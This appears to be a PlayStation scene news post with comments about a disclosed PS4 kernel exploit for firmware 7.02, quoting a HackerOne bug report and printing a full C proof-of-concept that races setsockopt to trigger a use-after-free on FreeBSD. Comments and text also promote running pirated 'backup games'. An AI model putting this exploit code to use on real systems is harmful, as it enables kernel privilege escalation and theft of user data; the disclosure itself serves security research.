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As promised last month, PlayStation 4 scene developer theflow0 just dropped the PS4 Kernel Exploit (KEX) for Firmware 7.02 and below which was patched by Sony in 7.50 PS4 OFW (Current OFW is 7.51) and can be chained together with a WebKit exploit like the previously released userland PS4 6.XX WebKit Exploit by Fire30_ that works up to 6.72 PS4 Firmware according to theflow0 with Mira support for 6.72 added as well! 😻
:alert: This means although today's PS4 kernel exploit works up to Firmware 7.02 there is currently only a PS4 userland exploit up to 6.72 publicly available!

Scene Dev @Al Azif suggests on Twitter that nobody should update until the full PS4 jailbreak is released, but for those who can't wait it's advisable NOT to update past 6.72 per @DEFAULTDNB on Twitter until a WebKit exploit supporting 7.02 surfaces!
:alert:

He sends thanks out to diwidog, flat_z, SpecterDev and PlayStation for the collaboration and while not all PlayStation scene developers may be on the same page with how it was handled through Sony's PlayStation Bug Bounty Program, to others it's a win-win as theflow0 received a cash bounty of $10k for his report and the PS4 scene reaped the benefit of having it publicly disclosed today for those who haven't updated to enjoy as a full jailbreak arrives! 💞

Those who'd like to show their appreciation and donate to theflow0 can do so the following ways:
  • via bitcoin 361jRJtjppd2iyaAhBGjf9GUCWnunxtZ49
  • via PayPal
  • via Patreon
To quote from the report via HackerOne.com: Use-After-Free In IPV6_2292PKTOPTIONS leading To Arbitrary Kernel R/W Primitives

Summary


Due to missing locks in option IPV6_2292PKTOPTIONS of setsockopt , it is possible to race and free the struct ip6_pktopts buffer, while it is being handled by ip6_setpktopt. This structure contains pointers (ip6po_pktinfo) that can be hijacked to obtain arbitrary kernel R/W primitives.

As a consequence, it is easy to have kernel code execution. This vulnerability is reachable from WebKit sandbox and is available in the latest FW, that is 7.02.

Attachment

Attached is a Proof-Of-Concept that achieves a Local Privilege Escalation on FreeBSD 9 and FreeBSD 12.
Impact
  • In conjunction with a WebKit exploit, a fully chained remote attack can be achieved.
  • It is possible to steal/manipulate user data.
  • Dump and run backup games.
Code:
/*
* Race condition in ip6_ctloutput where in6p is not locked when calling
* ip6_pcbopts, which allows for a use after free on in6p->in6p_outputopts
*
* Build: gcc -std=c99 -o poc poc.c -lpthread
* Run: ./poc
*
* Discovered by TJ Corley 8/15/2018
*/

#include <netinet/in.h>
#include <pthread.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>

#define IPV6_2292PKTOPTIONS 25

int s;

static void spam_valid() {
    char ctrl[CMSG_SPACE(sizeof(int))];

    struct cmsghdr *cmsg = (struct cmsghdr *)&ctrl;
    cmsg->cmsg_len = CMSG_LEN(4);
    cmsg->cmsg_level = IPPROTO_IPV6;
    cmsg->cmsg_type = IPV6_TCLASS;

    char *data = (char *)CMSG_DATA(cmsg);
    *(int *)data = 0x4;

    printf("spamming valid IPV6_2292PKTOPTIONS\n");
    for (;;) {
        setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, cmsg, CMSG_LEN(4));
    }
}

static void spam_zero_size_mbuf() {
    char *buf[0x4] = {};
    printf("spamming zero size mbuf\n");
    for (;;) {
        setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, buf, 0);
    }
}

int main() {
    pthread_t t;
    s = socket(AF_INET6, SOCK_DGRAM, 0);
    pthread_create(&t, NULL, (void *)spam_valid, NULL);
    spam_zero_size_mbuf();
}
Download: PS4UPDATE.pup (995.5 MB - PS4 6.72 Recovery PUP - MD5: 8140fdd70c1061c379f08566be022ecb) / Mirror / Mirror #2 / Mirror #3 / Mirror #4 via EuropaPeixe
Download: PS4UPDATE.pup (442.4 MB - PS4 6.72 Update PUP - MD5: f3a31f64d894dc06040498cd7383bec2) / Mirror / Mirror #2 / Mirror #3 / Mirror #4 via EuropaPeixe
Cheers to @jwooh for the heads-up on the exploit news, and with Discord help for PSXHAX Member Verifications to access the private area for the latest PS4 PKG games! 🍻
PS4 Kernel Exploit (KEX) for 7.02 Firmware, Wait for Jailbreak Before Updating!.png
 

Comments

Mortal Kombat 11: Kombat Pack
Release Date: April 23, 2019
PS4 Firmware 6.72
Release Date: July 16th, 2019 !!!
PS4 Firmware 7.00
Release Date: October 8, 2019
 
Games to play are spiderman, rdr2, hitman 2, re2, walking dead, sekiro, mk 11, just cause 4, tomb raider, fifa 19, xenoverse and gow updates.

Wish there was tlou2 and tsushima for this update, anyway im sure that this list will keep me busy for a whole year.
 
I'm so ready to play Spider-man, RedDead2 and Kingdom Hearts 3! I hope the devs can figure out a webkit for 7.02 soon because I'm dying to play Final Fantasy 7 remake.... I almost gave up hope and updated just to play it after playing threw the demo about 1000 times lol
 
we should thank with what we already have because without these people there would be no thing what is now on this stage. A big thank you all for their hard work and contribution wouldn't be all this
 
Thanks to TheFlow for his effort, bobbi don't think this was what he promised us, it's just the half, there have been kernel exploits for 6.XX firmware in the past but no JB.

We are not programmers, we are end users and what's important to is is JB not codes.
Thanks.
 
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